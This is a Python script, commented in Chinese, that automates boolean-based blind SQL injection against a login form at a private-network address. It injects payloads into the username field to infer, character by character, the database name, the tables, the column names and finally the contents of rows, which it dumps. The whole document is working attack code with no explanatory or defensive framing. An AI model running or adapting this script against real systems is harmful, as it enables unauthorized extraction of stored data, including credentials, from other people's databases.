布尔盲注爆破脚本

import requests


def ascii_str():
    """生成可显示字符列表"""
    return [chr(i) for i in range(33, 127)]  # 所有可显示字符


def db_length(url, str):
    """测试数据库名长度"""
    print("[-] 开始测试数据库名长度.......")
    num = 1
    while True:
        db_payload = {
            "username": f"admin' and (length(database()) = {num})#",
            "password": "123456"
        }
        r = requests.post(url=url, data=db_payload)
        if str in r.text:
            print(f"[+] 数据库长度：{num}\n")
            db_name(url, str, num)  # 进行下一步，测试库名
            break
        else:
            num += 1


def db_name(url, str, db_length):
    """测试数据库名"""
    print("[-] 开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for char in str_list:
            db_payload = {
                "username": f"admin' and (ord(mid(database(), {i}, 1)) = {ord(char)})#",
                "password": "123456"
            }
            r = requests.post(url=url, data=db_payload)
            if str in r.text:
                db_name += char
                break
    print(f"[+] 数据库名：{db_name}\n")
    tb_piece(url, str, db_name)  # 进行下一步，测试表数量


def tb_piece(url, str, db_name):
    """测试数据库中有多少张表"""
    print(f"[-] 开始测试 {db_name} 数据库有几张表........")
    for i in range(100):  # 猜解库中有多少张表，合理范围即可
        tb_payload = {
            "username": f"admin' and {i} = (select count(table_name) from information_schema.tables where table_schema = '{db_name}')#",
            "password": "123456"
        }
        r = requests.post(url=url, data=tb_payload)
        if str in r.text:
            print(f"[+] {db_name} 库一共有 {i} 张表\n")
            tb_name(url, str, db_name, i)  # 进行下一步，猜解表名
            break


def tb_name(url, str, db_name, tb_piece):
    """猜解表名"""
    print("[-] 开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_name = ''
        for j in range(1, 20):  # 表名长度，合理范围即可
            tb_payload = {
                "username": f"admin' and (select length(table_name) from information_schema.tables where table_schema = '{db_name}' limit {i}, 1) = {j}#",
                "password": "123456"
            }
            r = requests.post(url=url, data=tb_payload)
            if str in r.text:
                for k in range(1, j + 1):  # 根据表名长度进行截取对比
                    for char in str_list:
                        tb_payload = {
                            "username": f"admin' and (select ord(mid((select table_name from information_schema.tables where table_schema = '{db_name}' limit {i}, 1), {k}, 1))) = {ord(char)}#",
                            "password": "123456"
                        }
                        r = requests.post(url=url, data=tb_payload)
                        if str in r.text:
                            tb_name += char
                            break
                table_list.append(tb_name)
                print(f"[+] 表名：{tb_name}")
                break
    print(f"\n[+] {db_name} 库下的表：{table_list}\n")
    column_num(url, str, table_list, db_name)  # 进行下一步，猜解每张表的字段数


def column_num(url, str, table_list, db_name):
    """猜解每张表的字段数"""
    print("[-] 开始猜解每张表的字段数：.......")
    column_num_list = []
    for table in table_list:
        for j in range(30):  # 每张表的字段数量，合理范围即可
            column_payload = {
                "username": f"admin' and {j} = (select count(column_name) from information_schema.columns where table_name = '{table}')#",
                "password": "123456"
            }
            r = requests.post(url=url, data=column_payload)
            if str in r.text:
                column_num_list.append(j)
                print(f"[+] {table} 表有 {j} 个字段")
                break
    print(f"\n[+] 表对应的字段数：{column_num_list}\n")
    column_name(url, str, table_list, column_num_list, db_name)  # 进行下一步，猜解每张表的字段名


def column_name(url, str, table_list, column_num_list, db_name):
    """猜解每张表的字段名"""
    print("[-] 开始猜解每张表的字段名.......")
    column_name_list = []
    str_list = ascii_str()

    for idx, table in enumerate(table_list):  # idx 是表的索引
        print(f"[+] {table} 表的字段：")
        for i in range(column_num_list[idx]):  # i 表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j 表示每个字段的长度
                column_name_length = {
                    "username": f"admin' and {j - 1} = (select length(column_name) from information_schema.columns where table_name = '{table}' limit {i}, 1)#",
                    "password": "123456"
                }
                r = requests.post(url=url, data=column_name_length)
                if str in r.text:
                    for x in range(1,j + 1):
                        for k in str_list:  # k 表示我们猜解的字符字典
                            column_payload = {
                                "username": f"admin' and ord(mid((select column_name from information_schema.columns where table_name = '{table}' limit {i}, 1), {x}, 1)) = {ord(k)}#",
                                "password": "123456"
                            }
                            r = requests.post(url=url, data=column_payload)
                            if str in r.text:
                                column_name += k
                                break
                    break   # 字段名猜解完成，跳出长度循环
            print(f"[+] {column_name}")
            column_name_list.append(column_name)
    dump_data(url, str, table_list, column_name_list, db_name)  # 进行最后一步，输出指定字段的数据


def dump_data(url, str, table_list, column_name_list, db_name):
    """爆破指定表中的数据"""
    print(f"\n[-] 对 {table_list[0]} 表的 {column_name_list[0:2]} 字段进行爆破.......\n")
    str_list = ascii_str()
    for column in column_name_list[0:2]:
        for j in range(101):  # j 表示有多少条数据，合理范围即可
            data_num_payload = {
                "username": f"admin' and (select count({column}) from {db_name}.{table_list[0]}) = {j}#",
                "password": "123456"
            }
            r = requests.post(url=url, data=data_num_payload)
            if str in r.text:
                data_num = j
                break
        print(f"\n[+] {table_list[0]} 表中的 {column} 字段有以下 {data_num} 条数据：")
        for k in range(data_num):
            dump_data = ''
            for l in range(1, 51):  # l 表示每条数据的长度，合理范围即可
                data_len_payload = {
                    "username": f"admin' and ascii(substr((select {column} from {db_name}.{table_list[0]} limit {k}, 1), {l}, 1))#",
                    "password": "123456"
                }
                r = requests.post(url=url, data=data_len_payload)
                if str not in r.text:
                    for x in range(1, l + 1):  # x 表示每条数据的实际范围
                        for y in str_list:
                            data_payload = {
                                "username": f"admin' and ord(mid((select {column} from {db_name}.{table_list[0]} limit {k}, 1), {x}, 1)) = {ord(y)}#",
                                "password": "123456"
                            }
                            r = requests.post(url=url, data=data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print(f"[+] {dump_data}")  # 输出每条数据


if __name__ == '__main__':
    url = "http://172.16.17.201:50143/login.php"  # 目标URL
    str = "你进来干嘛？？？"  # 布尔型盲注的true&false的判断因素
    db_length(url, str)  # 程序入口